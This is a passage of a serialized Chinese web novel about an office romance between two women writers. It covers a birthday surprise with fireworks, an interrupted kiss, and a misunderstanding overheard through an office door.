时千岁急忙抽出张纸巾递给她,“怎么了言浠姐?”
“没事,呛到了而已,”言浠深吸一口气,抬手按住了时千岁的肩膀,眼神笃定,“你有说!”
“哦,这样啊,”时千岁不疑有他,“对就是网恋,也是作者,是我的老师,我们只相处了三个月。”
“好了,我知道了,还有事吗?”言浠想赶快结束这个话题。
“嗯?”怎么这么不耐烦的样子,难不成听到前任两字吃醋了?
还好她有先见之明,提前坦白。
时千岁急忙保证,并伸出三只指天,“我跟她没有过任何肢体接触,没有牵手没有拥抱更没有亲亲,甚至连面都没见过!”
言浠没忍住“啧”了一声。
明明亲了!
怎么还不信呢,时千岁好看的眉毛轻轻蹙起,表情是前所未有的严肃,“准确的来讲,她欺骗了我纯洁的感情,如果让我知道她是谁”
言浠有点心虚地问,“那你会怎样?”
“我会狠狠收拾她一顿!再把“死渣女”三个字贴她脑门上,游街示众!让她知道我时千岁可不是好惹的!”时千岁咬牙切齿,想她从出生起除了大病小病也算得上顺风顺水,哪成想却在感情方面折了腰。
再一抬眼,就见言浠往床边走去,背影还有点那么鬼鬼祟祟的。
“言浠姐,你忙完了?”
言浠身影一晃。
“嗯。”
再当着小家伙面码字,迟早要露馅,她想。
“那你能不能陪陪我,”时千岁神情犹豫,“我一个人码字有点无聊,你在旁边我还能安心点”
言浠心里叹了口气,脚跟一转,又坐了回去。
“嘿嘿,”时千岁把椅子往她身侧挪了挪,“就知道你最好了,对了”
看她一脸兴奋的模样,言浠直接一个抬手,把她头强行按在了屏幕前,“码字。”
“哦”时千岁收了心,开始与电脑屏幕面面相觑。
十分钟过去了,文档上边依旧空空如也。
言浠坐不住了,催促道,“你倒是写啊,”这个时间够她写一千字了,就没见过这么墨迹的。
时千岁:“”
“我我有点卡文,你不要凶我嘛”
言浠深呼吸,再深呼吸。
时千岁偏过头,“言浠姐,我是个新人,写文最开始也是因为赌气,其实根本不知道自己到底适不适合干这一行,要不让韩叔叔帮我看看呢?她都旅居了,想必靠写文,已经实现经济自由了,一定是大佬,让她教教我怎么样会不会很麻烦她?”
怎么,还想跟偶像双向奔赴?真不知道那韩曲凌有什么好的,值得这小家伙如此心心念念,言浠极其不满,语气也酸溜溜的,“她忙的很。”
“哦,好吧…”
言浠看她失落的样子,脸色一沉,屈指敲了敲桌子,“我教你!”
时千岁疑惑地眨眨眼,“嗯?”
言浠错开眼,一本正经道,“我可以,我是读者,阅文无数。”
言浠对于这个胡诌的身份很满意,“对,没错,我和韩曲凌就是这么认识的!”
言浠又指了指文档上标注的文名,“而且我看过你的文,”韩曲凌很久之前给她分享过小说链接,她瞄了几眼。
“真的?”时千岁欣喜的同时内心有点小忐忑,“那你觉得我写的怎么样?”
言浠中肯评价,“人设很讨喜,你很会抓读者眼球,而且文字很有灵性。”
“可是,我有点写不下去了,”时千岁陷入迷茫,“我每次打开电脑就有一种深深的无力感。”
言浠问,“既然你这么痛苦,为什么不放弃?”
时千岁认真想了想,说,“我觉得写小说不是一件好玩的事情甚至可以说特别枯燥,但写着写着,我发现主角好像有了生命力,她们会自己行动,她们也有自己的想法,我看着她们逐渐成长会有一种强烈的成就感。”
言浠理解她这种复杂的感情,告诉她,“作者有三类,一种是源于本身的喜欢,但这类作者只专注于自身的xp,有些可能会无脑输出,只为满足自己;还有一种就是为了钱,她们一味迎合市场,迎合读者,写出来的东西非常商业化,没有记忆点;最后一种就是天赋,灵气,她们对文字有非常高的敏锐度,站在上帝视角里专注于故事本身。”
“所以你是在夸我吗?”时千岁嘴角快翘上天了,“这个评价也太高了吧,我这么厉害吗?”
言浠瞥了她一眼,淡淡道,“没有,你确实有优点,但不敌人家努力程度的万分之一。”
扎心了,但不可否认确实是事实,时千岁郁闷。
言浠说,“我有个方法,可以让你写文不那么困难你愿不愿意听。”
时千岁眼眸微亮,“愿意!”她可太愿意了。
言浠从抽屉翻出一张白纸和一只笔,铺在桌子上,埋首写了几行字,“现在你把你的大纲全部删掉。”
“啊…”有大纲她都写不出来,还要删…时千岁虽然心里疑惑,但还是听话的点击了删除键。
言浠把白纸递给她,解释道,“大纲对于你来讲是禁锢,你像我这样,把你这本书的大框架,按起承转合的方式写在一张纸上,”她给时千岁列了一本一夜、情小说的大框架,并从其中一个阶段延伸出这个故事所有可能的走向,“发散思维,你的主角会告诉你答案。”
时千岁咀嚼了一遍这四个字,开始根据言浠的教学列框架。
没多久,时千岁好像受到了启发,打开了文档。
卧室里响起了密集的键盘音。
时千岁一口气写完了三千字,再一看时间,居然只用了三个小时。
如此这般行云流水,还是她写文生涯里的第一次。
时千岁觉得言浠现在整个人都在发光,无比敬佩,“言浠姐,你就是我的神。”
正准备偷溜的言浠,脚步又是一顿。
时千岁说,“我以后每天写的文都事先发给你看看,可不可以?”
坏了,居然给自己挖坑了,言浠懊恼,“行…行吧。”
…
时间一晃,来到了八月下半旬。
这段时间里,时千岁的成长有目共睹。
写文方面,时千岁再无断更,读者们拍案称奇,微博底下纷纷讨论“发大水”到底是被魂穿了还是因为爱情的魔力,变得如此努力。
工作方面,时千岁关于碧水国际的方案设计得到了领导一致表扬,甚至专门开了会让其公开演讲。
那天时千岁换上了一套成熟的职业西装,画了淡妆,站在台上,整个人自信、从容、闪闪发光,看的言浠错不开眼睛。
而孙建仁下场就惨了,自时千岁吓唬他之后,请了几天病假,回来之后老婆带着被小三的女人闹到了公司,联合曝光他出轨、渣男,骂了三天三夜,孙建仁头彻底抬不起来了,成了过街老鼠,这还不算完,一个星期后的一天,孙建仁不知道因为什么原因被警察带走了,彻底被公司除了名。
办公室里最照顾时千岁的周姐升任为了主管,接替了孙建仁的工作。
周姐乐呵呵的,当即大手一拍,组织起了聚餐,获得一众响应举手称赞。
时千岁被派来邀请言浠。
时千岁把办公室门悄悄打开了一个小缝隙,看办公室只有言浠一人,便溜了进去。
她蹑手蹑脚走到言浠身边,看她在抄写佛经,调侃道,“呦,言经理工作时间居然在开小差,真是闻所未闻见所未见啊。”
言浠被耳边突如其来的声音吓了一跳,手中力道加大,在纸面上划出了一条长长的痕迹。
看清眼前人,没好气道,“还不是有因为你!”
“嗯?我怎么了?”
小家伙这段时间,越发过分,居然借着教学的名义开始给她发小黄文,还是细节描写的那种!
她每次看都恍惚的带入了时千岁那张脸。
害的她连夜定了一箱佛经。
言浠转移话题,“你为什么不敲门?”
时千岁手臂自然地环上了她的脖颈,耐心哄道,“干嘛那么大火气,下次一定。”
“对了,我发给你的新的章节你看了吗?老师。”
听到这两字,言浠身形一顿,急道,“不是说了别叫我老师。”
这个称呼会让她想起前任是吧,又吃醋了,时千岁从善如流,“知道啦,言浠姐。”
“那说说感受吧?”
不是,还要读后感啊?言浠咬牙切齿。
大黄丫头!
【作者有话说】
千岁演我,我就是和电脑面面相觑的那个[裂开][裂开][裂开]
今日愿望偷言浠手速
37
第37章
◎吻我◎
“言经理没来吗?”周琦琦看时千岁自己从出租车上下来,连忙给她把位置让出来,“来来,你挨着我坐。”
“忙,”时千岁闷闷不乐。
刚刚她去找言浠,还没呆五分钟,办公室里就呼啦涌进来一堆人,害的她话都没说完就被赶出来了,郁闷死了。
旁边一个平时和她们关系还不错的男同事,给她递过来一瓶啤酒,“小时,来晚了啊,先自罚三杯吧。”
周琦琦抬手挡住,玩笑道,“去去去,没看我的小美人心情不好吗?”
男同事不好意思地笑笑,缩回了脑袋。
周姐递过来一把烤串,“千岁尝尝,这家大排档味道还不错,”又安慰道,“临近月底嘛,言经理脱不开身情有可原。”
又扭过头对大家说,“今天大家可劲造,明天我们努力追进度,向别的部门看齐。”
周琦琦举手,“周妈,您现在越来越有当官的样子了。”
“嘿,你这小孩,怎么说话呢?”周姐作势轻轻敲了一下她的脑门,“白疼你了”
“我错啦,”周琦琦连忙投降,端起酒杯,“周妈平时这么照顾大家,大家以后一定要拧成一股绳,团结一致努力工作,谁要给周妈惹麻烦,我第一个不答应。
“油嘴滑舌,”周姐举起酒杯,“今天聚一起,还有一个原因,恭喜我们部门三个小孩顺利转正。”又特别交代,“能喝酒的喝酒,不能喝的自动喝果汁,不能劝酒。”
孙晋继孙建仁走后主动离职,这两一走,部门同事间氛围大好,
时千岁终于是露出了笑容,她倒了一杯果汁,和同事们挨个碰了个杯。
“好了,开吃。”
周*姐一声令下,众人纷纷动起了筷子。
周琦琦人来疯,开始挨个跟同事打圈喝酒。
时千岁拍了几张照片给言浠发了过去后也有一句没一句的跟身边人聊了起来。
酒桌气氛高涨,话题难免指向其中单身人士。
周琦琦开始,从有没有谈过恋爱到有没有喜欢的人再到喜欢什么类型的。
周琦琦一概摇头,无比认真,“我的人生只有两字“搞钱”,其余没考虑过。”
时千岁惊呆,这周琦琦居然如此胸怀大志,不仅抱拳,“佩服。”
同样的问题抛给时千岁。
时千岁却是神秘一笑,半个字不透露。
揶揄声一片。
现在的年轻人,嘴巴真挺严的。
真不是她不想说,只不过还没在一起,说出去怕言浠受影响,万一被哪个别有用心的听了去,再惹出什么事端,职场嘛,时千岁想,她可是成长了。
这时,不知谁提了一嘴“言经理”,时千岁立马竖起了两只耳朵。
周琦琦一拍桌子,“我女神学姐,当时追她的人可老多了,可不止林经理一个。”
“当年有个人学长追求的那叫一个轰轰烈烈,特意在贴吧发了个帖子,说势必三个月内拿下言经理,这事引发好多人热议,盖了几千层楼呢。”周琦琦说到这就去翻手机,“应该找得到。”
时千岁心里不爽,“这叫轰轰烈烈?这明明叫骚扰。”
“对对对,”周琦琦看她面露不虞,急忙附和,“小美人稍安勿躁,这事闹了可大的笑话呢。”
“言经理生日那天,这人叫了一帮兄弟,在女生宿舍楼下,又是摆蜡烛又是送蛋糕,颇有点道德绑架的意思,逼着人当他女朋友,你猜言浠学姐怎么着?”
“把蛋糕扣到他脸上,糊了他一脸,并送了他一个字“滚”。”
果然是言浠的风格,时千岁想。
周琦琦翻出了那条帖子往下滑,“哎小美人,有现场图,你想不想看十年前的言经理?”
时千岁一把抢过手机,只见一张模糊的照片横在了屏幕中间。
照片里场面一度混乱、狼狈,蛋糕蜡烛散落一地,围在一起的学生们错愕不止,而最中央的一道倩丽身影就那么垂眸注视着眼前发生的一切,眉目清冷,神态漠然,路灯的光晕笼罩在她身上,把她与眼前的喧闹分割成了两个世界。
这是十年前的言浠,学生时代的言浠。
依稀可看得出尚未褪去的青涩,但气质已然出类拔萃,是人群里最亮眼的存在。
好想穿回十年前,和言浠谈一场轰轰烈烈的校园恋爱,这不得把这些个整日肖想言浠的学弟学妹气死?
不过还是算了十年前的自己好像才刚上小学,时千岁想。
周琦琦揶揄,“再看哈喇子要掉下来了,喂。”
旁边人久未出声,周琦琦不禁向她望去,只见刚刚还一脸花痴的时千岁一点一点敛起了笑容。
周琦琦不由紧张,“怎么了小美人?”
“今天几号?”
“8月21啊,有有什么问题吗?”周琦琦一头雾水。
时千岁指着照片上标注的日期,重重咬下了几个字,“所以,今天是言浠生日?”
“啊”周琦琦仔细回忆,“好像”
话音未落,时千岁便站了起来,举起一杯啤酒,一饮而尽。
众人:“???”
啤酒的凉气冲的脑子发懵,时千岁使劲眯了眯眼,这才有所缓解,“我有点急事,我先撤了。”
“吓我一跳,还以怎么了,气势汹汹的…”同事笑。
“快去吧,注意安全,”周姐叮嘱。
时千岁小跑出去,片刻又折返回来,和周琦琦说,“照片发我。”
周琦琦:“”知道了。
……
长达两个小时的线上会议结束,言浠刚欲放松片刻,时千金的私人电话便接了进来。
言浠指尖一顿,犹豫了几秒,方才点击了接听。
不知为何,每次跟时家这个老大接触都让她有一种很不舒服的感觉,时千金这个人看似亲和,实则城府极深,处处对她设防。
“喂。”
言浠淡淡道,“时总有什么事吗?”
时千金说,“没什么,就是想和你随便聊聊。”
言浠没有答话,静静的听着。
“千岁这段时间在公司的表现我都听说了,她能成长这么快多亏了你,看来爸爸把她交给你照顾真是非常明智的决定。”
“照顾”两字被咬得很重,以至于这番夸赞的话落入言浠耳朵里更像是提醒。
她不自觉握紧了电话,“时总言重了,还有事吗?”
电话那头笑了,“你别紧张,我给你打电话是还有件事拜托你。”
“时总,请讲。”
时千金说,“你知道的,我妹妹年龄还小,又是被家人捧在手心里长大的,感情方面呢太单纯,我怕她又像上次那样一时冲动投入到一段感情中去,到头来被骗的体无完肤,所以拜托你帮我看着她的动向,有什么情况第一时间告诉我?”
言浠垂眸片刻,低低应了声,“知道了。”
挂了电话,言浠起身打开了窗户,望向浓浓夜色,心中是没来由的燥意。
……
午夜的指针即将叩响十二点,室内只余下言浠书桌上那一盏孤冷的灯光,切割着沉甸甸的寂静,最后一份文件合上,轻微的“啪”声,在过分安静的卧室里显得格外清晰,言浠揉了揉紧绷的眉心,目光下意识投向了玄关。
聚会还没结束吗?
指尖滑过冰冷的屏幕,正欲拨通小家伙的号码。
大门处却突兀的传来了钥匙转动门锁的声音。
言浠起身迎了上去。
门被有些费力地推开,时千岁的身影撞了进来,在看到言浠的一瞬,双手紧紧地背到了身后。
嗯?藏什么呢?言浠绕到门口,按开了灯,柔白色的灯光霎时间盈满客厅。
小家伙那张通红的脸蛋便映入眼帘。
她胸口起伏着,大口喘着粗气,正怒视着她。
“怎么了这是?”言浠好整以暇地望着她,“我是又哪里惹你不高兴了?”
时千岁闭了闭眼,努力压制着酒精带来的眩晕感,迈着沉重的步子走向言浠。
“为什么不告诉我今天是你的生日?害我差一点没赶上。”
“生日?”
言浠完全怔住了,这个词像是一个遥远而陌生的音节,猝不及防地敲击在她的耳膜上,她下意识地在脑海中搜寻相关记忆碎片,却只捞起一片空白,对她而言,这两个字早就淹没在童年的责骂声和长大后日复一日的工作里,变得无足轻重了。
言浠实话实说,“我忘了。”
“是忘记告诉我,还是忘记了生日这天?”
小家伙质问的话带了几分委屈轻而易举的把言浠平静的内心搅弄起一片波澜,她柔声道,“忘记了今天是我的生日。”
时千岁心里被突如其来的酸涩感涨满,慢慢的把身后的盒子举到了眼前,“太晚了,来不及给你认真准备礼物,只找到一家开门的蛋糕店。”
时千岁把蛋糕放在餐桌上,拉着神情恍惚的言浠入座,小心翼翼的打开了盒子,“我亲手做的…”
言浠随着她的视线看向那蛋糕。
蛋糕不大,约么9寸,简单的水果装饰,裱花歪歪扭扭,但中间“生日快乐”四个字,却尤为工整,足以看出小家伙的用心。
时千岁紧张道,“是不是很丑?”
“很漂亮,”言浠心里柔软一片,视线猝不及防撞见小家伙微微发红的手指,心下一紧,忙问,“准备这些花了多长时间?”
开始切坏了六个蛋糕胚,好不容易做出来个成品,实在太丑了,时千岁后边又做了三个,这才选出来一个勉强看得过去的。
见小家伙沉默不语,言浠心中大概有了个猜测。
“其实不必这么麻烦的。”
“麻烦?”时千岁从背后用力拥住了她,力道之大似是在宣泄不满。
彼时严肃的声音贴着耳畔霸道地落进了她的心里。
“我说没说过,你很重要。”
时千岁一字一顿道,“你对我很重要。”
心跳在这一刻失了控。
这个拥抱,很短暂,时千岁在她怔神之际松开了手,一路小跑关闭了灯光,又折返回来,点燃了蜡烛。
或是跑动过急,压制已久的眩晕感卷土重来,时千岁身形一晃,跌坐到了言浠腿上。
柔软的身体带着灼热的温度骤然贴近,言浠浑身一僵,像是被点了穴。清甜的香气带着酒气霸道的侵占了她的呼吸,她下意识扣住了时千岁纤细的腰肢,防止她滑落,声音带着一丝不易察觉的紧绷和惊愕,“你喝酒了?”
时千岁往她怀里钻了钻,努力抬起沉重的眼皮,“一杯而已,放心,醉不了,我没那么菜。”
言浠:“!!!”一杯已经很恐怖了!
“我抱你到床上休息!”
时千岁挣扎着按住了言浠的手,声音软弱又执拗,“不行!”
“我还有礼物送你”
言浠的心跳猛地漏跳半拍,一个荒谬的念头不受控制地钻进脑海。
——这个醉酒的大黄丫头,该不会要把自己当礼物送了吧!!!
就在她惊惶之际,时千岁却示意她看向窗外。
一朵巨大的烟花毫无征兆地在遥远的天际炸开,金色的光芒瞬间撕裂了沉寂的夜幕,透过落地窗,洒落一片碎光,接着是第二朵,第三朵绚丽的彩色此起彼伏的绽放,点亮了整个夜空。
怀中人倒计时声音响起,“三二一。”
一道托着长长光尾的烟花升至最高点,在指针悄然滑向12点的刹那轰然绽放,化作满天繁星般的碎金,时千岁真挚的祝福落进了这片绮丽里,“生日快乐,言浠。”
时千岁用勺子小心翼翼地挖了一小块裹挟着青提的奶油蛋糕,轻轻递到她唇边。
言浠垂眸看着怀中人被烛光和烟花映照的格外柔软的小脸,微微启唇,含住了那块蛋糕,舌尖轻轻一卷,细腻的奶油在口腔中温柔地化开,混合着青提的酸甜,瞬间弥漫开一种令人心悸的甜蜜。
言浠记得,很久以前,她刚考上大学那年生日,她看着陌生城市里的万家灯火,忽然心生艳羡,鬼使神差的去蛋糕店买了一盒小蛋糕,回到宿舍挖了一勺放进嘴里,甜,但寡淡,甚至带了一丝工业香精的涩味。至此一口,便再没动过,只觉得那份热闹和甜蜜与自己格格不入。
而如今,同样的蛋糕感受却焕然一新。
一切的种种都是源于怀中这个莽撞闯入她生活的小家伙。
小家伙就如同窗外那肆意绽放的烟花,明亮、热烈,带着横冲直撞的温度,蛮不讲理的炸开了她的心房,将那些被遗忘的色彩和温度一股脑地塞了进来。
言浠收紧手臂,感受着这份温暖。
呼吸交错,心跳声鼓噪,暧昧在这片绚丽的光影里蔓延。
言浠的目光不受控制的落在小家伙微微张开的粉润唇瓣上,那急促的、带着清香酒气的呼吸扑洒在颈窝,像是在做无声的邀请。
时千岁眼底的欲望浓烈,手指紧紧地抓住了眼前人的衣领。
“吻我。”
38
第38章
◎【我觉得发大水老师才是1。】◎
轻飘飘的两个字,搅得脑海一片混沌,言浠微微低头,迎向那片渴望的柔软。
距离慢慢拉近,那片粉润饱满的唇瓣近在咫尺。
只需要轻轻将它含住,就必能品尝其中蕴含的香甜。
突然——
窗外最后一点烟花的余烬彻底熄灭。
光芒瞬失。
房间瞬间被黑暗笼罩。
光明消失的刹那,时千金的话猛然炸响在耳畔,像是警告,像是提醒,无论哪一种,无疑都给她敲响了警钟,言浠被骤然上涌的理智拽回现实,她偏了偏头,唇瓣贴着唇角滑过。
言浠撂下一句,“你喝醉了,”便匆匆将她抱起,安置到了床上。
或是醉意已到极限,小家伙这次没再挣扎,乖乖阖上了眼。
言浠翻出睡衣,指尖触及领口时又强行停住,最终只是替她也好毯子。
悄悄关上门。
言浠坐回到了餐桌前,为自己切了一块蛋糕,就着冰冷的夜色,一口一口咽了下去
翌日,时千岁在重复的闹铃声中醒来。
她习惯性地往身侧蹭了蹭,预想中的柔软并未出现,她伸手一探,周边是一片冰凉。
她猛然惊醒,身侧空落落的,“言浠姐?”
支离破碎的回忆一点点回笼,最终定格在那声“吻我”后,断然卡了壳。
所以亲了没?时千岁懊恼地锤了下床,怎么不坚持坚持!明明还有最重要的话没说。
掀开毯子,目光触碰到身上的衣服时,她嫌弃的皱了皱眉,怎么不给她换睡衣,多脏。
坦诚相见多少次了,还害羞上了,这个言浠。
时千岁捞起睡衣,飞速去浴室冲了个澡。
回到客厅,目光四处搜寻言浠的身影。
客厅空无一人,餐桌上只放着一杯牛奶和一把车钥匙。
时千岁疑惑地拿起手机,点开聊天框。
【人呢?】
言浠回道:【临时有事,怕你睡不够没叫你,桌上的牛奶热过了,记得喝。如果还不舒服,今天就在家休息。】
看着满屏的关切,时千岁嘴角高高扬起,她抿了口温热的牛奶,指尖轻快地敲击屏幕:【贴心。】
【才分开就开始想念了,我马上去公司,等我。】
这次醉酒后好像没有什么不适,时千岁觉得自己酒量见涨。
她喝完牛奶,抓起车钥匙便赶往公司。
听说公司的某个项目验收阶段出了点问题,言浠和相关负责人一早就来了公司招开紧急会议。
时千岁到公司时,正巧听见周琦琦和其他同事在八卦。
【不就是孙建仁上次出差负责的那个项目吗?听说是他从中作梗?】
路过的周主管一人给她们一个脑瓜崩,“孙建仁哪有那么大的本事,顶多就是工作对接不配合,小问题别瞎议论!”
周琦琦捂着脑门痛苦哀嚎,“知道了,周妈。”
话题被打断,周琦琦话锋一转,“你们知道吗?”余光看见时千岁进来,立马小跑过去拉她加入八卦阵营,“昨晚北城有人庆生放了一场盛大的烟花秀,你们都看见了吗”
时千岁难掩得意,“好看吧?”
同事叽叽喳喳,“好看死了,简直是小说里的浪漫照进现实。”
“估计花了不少钱吧,接接接,求一个为我一掷千金的180+的贵公子!”
也不知道言浠喜不喜欢时千岁已经迫不及待见到她了
会议终于结束,时千岁火速奔往言浠办公室。
走到门口,见里面还有几位高层管理在交谈,她只能强行按捺住了脚步,退到了墙角等候。
人员进进出出,时千岁目送走了一批又一批,好不容易熬到里面只剩林沐涵一人,时千岁正欲推门而入,便听到里面传来以“她”为中心的争执。
时千岁推门的手一顿,又缩回到了墙角。
屋内两人相对而坐,气氛冷峻。
林沐涵声音清晰,“先是找吴丽,让她提供孙建仁骚扰她的聊天记录,把证据匿名寄给他老婆,让他老婆闹到公司,让孙建仁声名狼藉;后是让我帮你私下查他,找到他受贿的证据断他前途,言言你这么大费周章,别跟我讲是因为他骂了你两句,我了解你,你不可能在意这些声音,”话音一顿,“又是因为时千岁吧?”
难怪三番五次在言浠办公室门口偶遇吴丽,她还以为孙建仁倒台纯属报应,原来是言浠在背后运筹帷幄,天呢,好腹黑,好宠,好喜欢!时千岁因为后一句话心潮澎湃。
言浠没有直接回答,只是说,“这件事是我考虑不周,没想到他最后会反咬一口,耽误你们时间了,关于项目出现的问题我自会向时总汇报。”
“言言,我不是责怪你,”林沐涵静静地看着她两秒,开口问,“时千岁怕不是你妹妹吧”
“她明明是时家二小家,来运集团董事长时千金的亲妹妹。”
言浠猛地拔高音量,逼视着林沐涵,“你查她?”
“林沐涵你知道我最不喜欢你哪一点吗?就是你那自以为是的掌控欲。”
林沐涵被这尖锐的话刺得一滞,缓了半天才开口,“那你呢,你喜欢她吗?”
门外的时千岁听到这突如其来的问话,心脏瞬间提到了嗓子眼,紧张之下,她不小心碰响了门把手,急忙贴紧墙壁屏住呼吸。
熟悉的身影在门玻璃上一闪而过,言浠收回视线,语气平静无波,“别多想,我只是按照时总的交代,在生活中和工作工照顾她,仅此而已。”
言浠的这番话,如一盆冰水当头淋下,将时千岁那颗赤诚、热烈、蠢蠢欲动的心淋了个通透。
所以言浠对她的那些好,只是因为“照顾”吗,所以又是她自以为是,自作多情了?
时千岁自嘲地扯了扯嘴角,转身离去。
看着窗外人影彻底消失,言浠的心脏犹如被几千根细针同时扎过,蔓延开密密麻麻的刺痛。
林沐涵也留意到了门外的动静,不禁叹了口气,“她也喜欢你,别说你不知道。”
言浠紧紧掐着掌心——那就把这份喜欢掐死在摇篮里。
“时家虽然对你有恩…”
言浠猛地打断她,“不用你再提醒我!”
林沐涵眸光一晃,软了语气,“言言。”
她站起身走近言浠,轻轻拍了拍她紧绷的肩膀,“你防备心不用那么重的,我们认识这么多年,就算当不成恋人至少也还是朋友。”
“我没其他的意思,我只是想说,你被“恩情”两个字压的太紧了,这些年你做的已经够多了,什么时候可以考虑自己,为自己而活。”
“你明明也喜欢她。”
轻飘飘的几个字,却像利刃般轻易撕破了言浠的伪装,她无力地靠进座椅里,“而且,她还年轻,以后会遇到更好的人,”会拥有更精彩的人生,不应该陷入她这一潭死水。
林沐涵讶异,一向不与谁低头的言浠,这是自卑了?
林沐涵失笑,“她要是真投入别人怀抱,你能受得了?”
“行了,你自己好好想想吧。”
林沐涵转身离去,给言浠留下了独处空间。
…
时千岁魂不守舍地回到了工位上。
对着手机屏幕,就这么枯坐了一下午。
临近下班,她终于下定了决心,将置顶备注里那两个刺眼的爱心,改回了规规矩矩的“言经理”。
接着站起身,朝二组办公室走去。
周琦琦好奇,“你干嘛去。”
时千岁淡淡吐出两个字,“道歉。”
周琦琦更不解了,“跟谁道歉啊,又为什么道歉?”
时千岁将吴丽被孙建仁骚扰这事简单的说了一遍,问到,“还记得咱们当时怎么说人家的吗?”
周琦琦把两个大拇指相对,暧昧地弯了弯。
时千岁点点头,“说她和孙建仁有一腿。”
“明明是孙建仁骚扰她,我错就错在,因为她做错了一件事,就顺理成章地接受了别人对她的造谣。”
“没有一点判断能力。”
“我们虽然不是谣言的发起者但是也间接传递了这个信息,对她造成了伤害。”
周琦琦垂眸思考片刻,追了上去,“那道歉也得算我一个。”
两人道歉出奇顺利,吴丽非常大度地原谅了她们。
二人走出办公室,时千岁迎面撞见了言浠,她狠狠掐了一把指腹,强迫自己站定,礼貌道,“言经理好。”
“没什么事我先下班了,”她摸出车钥匙递到了空中,“以后就不麻烦言经理了。”
言浠静静接过钥匙,钥匙上残留的温度灼得她掌心发烫,心脏像是被一只无形大手紧紧攥住,窒息般的疼痛蔓延开来。
她沉默半响,问到,“你们干什么去了?”
时千岁没有回答,转身离开,周琦琦见气氛有点尴尬,连忙解释,“道歉。”
她把时千岁的话原封不动的复述了一遍。
言浠惊讶于时千岁的成长,欣慰的同时心底更多了一丝复杂的情绪。
…
时千岁回到家后,默默将自己的东西从主卧搬回了次卧。
一番折腾下来,出了一身汗,她冲了个澡,回到了自己小卧室。
灯光熄灭,黑暗来袭,压抑一整天的情绪瞬间决堤。
言浠那句“只是照顾,仅此而已”的话,在脑海中疯狂回荡盘旋。
眼泪不受控制地汹涌而出,怎么擦也擦不干。
没出息!
叫你自作多情!
又折了吧,时千岁你个恋爱脑!
她一边哭一边在心里怒骂自己。
实在气不过,时千岁又翻出手机,给她姐发了条微信,【以后我恋爱脑再犯了你就打死我。】
她狠狠地戳着屏幕,仿佛要将手机戳穿。
指尖却一不小心点到了韩曲凌的头像。
屏幕上蹦出一条消息:【你拍了拍“恋爱军师”的翘臀。】
韩曲凌立刻抛过来问候:【你的恋爱军事已上线,请问这位小妹妹需要帮助吗?】
紧接着“霸道与总裁”的信息也跳了出来:【没空打你,下次恋爱脑犯了你先抽自己两巴掌。】
时千岁吸了吸鼻子,真的抬手在自己脸颊上轻轻拍了两下,然后飞速关闭了与时千金的对话框。
回韩曲凌:【需要!】
……
言浠一个小时后回了家。
客厅一片漆黑死寂。
她走到卧室前推开门,里边静悄悄的,“啪嗒”一声,冷白的灯光刺破黑暗,卧室里所有属于小家伙的东西,包括她的人全部消失不见。
隐秘的期待落空,言浠心底一片冰凉。
她关上门,指尖在触碰到门锁时,停顿了一下。
大概以后都不需要上锁了吧,小家伙,恐怕再也不会来敲这扇门了。
言浠打开电脑,试图恢复过去的模式——工作,码字。
打开文档,脑海却一片空白。
小家伙的笑脸和声音不受控制地闯入脑海。
“言浠姐,我可以坐你旁边吗?”
“言浠姐,我有点无聊,你能不能陪陪我…”
“言浠姐,你看我最新章节写的什么样?”
“言浠姐…”
这些声音搅得言浠思绪混乱,根本无法平静,她索性关了电脑,熄了灯,一头扎到了床上。
身侧空落落的,没有了熟悉的温度,那枕头上残留的、小家伙身上特有的淡淡馨香,却争先恐后地钻入鼻尖。
十分钟过去了,言浠丝毫没有睡意。
黑暗滋生出窥探欲,言浠捧起了手机,鬼使神差地登陆了小号点进了小家伙的微博。
滑到了最底层,开始逐条阅读。
小家伙的微博五花八门,堪比朋友圈,详尽记录着她成长的点点滴滴。
例如:高中成绩垫底,被爸爸和妈妈忽悠,电影学院美女多,一下子激发了她的斗志,拼命学了大半年,竟真的考上了。
因此奖励了一辆限量款跑车作为成年礼。
又如,大学时觉得学业枯燥,偷跑出去旅游,报了个旅行团,结果六个人里,三个是老姐前女友。
…
言浠看着、笑着,仿佛隔着时空,参与了她未曾参与的时光。
一小时后,言浠翻到了那条关于秀“女朋友”的博文。
配图是一张看上去平平无奇的鸡蛋面。
如果没记错的话,这是她在小家伙第一天搬过来时,为她做的。
言浠想,原来小家伙那么早就对自己产生别的心思了吗?
这条微博评论和点赞上万,言浠忍不住点开评论区。
“你们喜欢口算还是()”
“这个点你们在干什么,好难猜啊。”
“发大水今天学历史了吗?”
连刷好几条都是带颜色的调侃。
言浠无奈轻叹,这届网友和小家伙一样,都黄的没边。
她关上手机,继续努力酝酿睡意。
十分钟后。
言浠猛地睁开双眼坐起来,捞过手机,再度打开了微博的评论区。
手指飞快下滑,精准地停在了一条评论上:
【我觉得发大水老师才是1。】
言浠眉心一拧,手指重重敲下三个字。
【你放屁。】
39
第39章
◎“小美人,我虽然可以勉强牺牲小我成为你们play中的一环,但不能真的“牺牲”,你懂我意思吗?”◎
清晨,时千岁从侧卧中醒来。
依稀听到门外脚步声响动,忙忙碌碌,随后饭菜的香气顺着门缝飘了进来。
时千岁趿拉着拖鞋,疑惑地推开门。
正好撞见言浠端着一锅热气腾腾的海鲜粥从厨房出来,摆到餐桌上。
“我做了蒸蛋、小笼包,还煲了粥,你先吃?我再去做两道小菜。”言浠招呼道。
嚯,还真丰盛。时千岁站定,刻意与她保持着距离,“不必了。”
言浠微微一怔,声音不自觉地绷紧了,“那……这些够吃吗?”
“我是说,我已经和周琦琦约好早饭了。”时千岁盯着她的脸,忽而勾唇一笑,“言经理,你昨晚没睡好吗?不然怎么有这份闲心?”
“啧,”时千岁转身往卫生间走,脚步突然一顿,“差点忘了,爸爸拜托你照顾我,自然也包括做早饭这一项。”
言浠被她尖锐的话刺了一下,垂眸掩去眼底的黯然,“那……等下一起走?”
“不必了,”时千岁的声音带着疏离,“我现在不喜欢给人当司机。”
言浠跟到卫生间门口,犹豫着开口,“你今天更新的新章节…还没发给我看。”
时千岁猛地转过身,好整以暇地睨着眼前人,“言经理这么喜欢当老师?”
“也…也不是。”
话音未落,时千岁就冲进了卫生间,把门重重一关,隔绝了那道身影,“言经理,我昨天问了韩叔叔,她说她一点都不忙。”
时千岁挤好牙膏,瞥见门外那道影子依旧杵着,扬声问道,“还有事吗,言经理?”
门外沉默了几秒,才响起声音,“你不许给韩曲凌发小黄文。”
时千岁轻“哼”一声,悠悠道,“言经理,你管得是不是太宽了?”
门外人的声音陡然拔高,伴随着拍门声,“时千岁!你不许给她发!听到没有?”
“听到没有!你说话!”
“说话啊!”
